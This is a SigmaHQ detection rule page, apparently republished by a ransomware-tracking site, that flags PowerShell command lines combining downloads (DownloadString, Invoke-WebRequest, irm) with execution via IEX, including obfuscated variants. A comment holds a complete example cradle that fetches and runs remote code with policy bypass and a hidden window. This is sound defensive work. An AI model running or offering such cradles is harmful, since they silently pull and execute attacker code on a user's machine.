Sigma rule: PowerShell Download and Execution Cradles

A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-bb5b02a1904d, updated 2025-07-18T00:00:00.000Z.

Rule

Title: PowerShell Download and Execution Cradles
Status: test
Level: high
Author: Florian Roth (Nextron Systems)
Date: 2022-03-24
Modified: 2025-07-18
File: rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml
Commit: ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects PowerShell download and execution cradles.

Log source

product: windows
category: process_creation

Detection

selection_download:
    CommandLine|contains:
        - '.DownloadString('
        - '.DownloadFile('
        - 'Invoke-WebRequest '
        - 'iwr '
        - 'Invoke-RestMethod '
        - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
selection_iex:
    CommandLine|contains:
        - ';iex $'
        - '| IEX'
        - '|IEX '
        - 'I`E`X'
        - 'I`EX'
        - 'IE`X'
        - 'iex '
        - 'IEX ('
        - 'IEX('
        - 'Invoke-Expression'
condition: all of selection_*

False positives (as the rule lists them)

Some PowerShell installers were seen using similar combinations. Apply filters accordingly

MITRE ATT&CK ids this rule names

T1059

References

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml

Sources and licences

SigmaHQ
"PowerShell Download and Execution Cradles" by Florian Roth (Nextron Systems) (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml.
Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License
Detection Rule License (DRL) 1.1

Cite this page

Dragons Eye Ransomware Tracker, "Sigma rule: PowerShell Download and Execution Cradles",
entity page, dataset version ref-bb5b02a1904d, updated 2025-07-18T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/85b0b087-eddf-4a2b-b033-d771fa2b9775 (accessed 2026-11-03).
Underlying source: SigmaHQ rule 85b0b087-eddf-4a2b-b033-d771fa2b9775, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.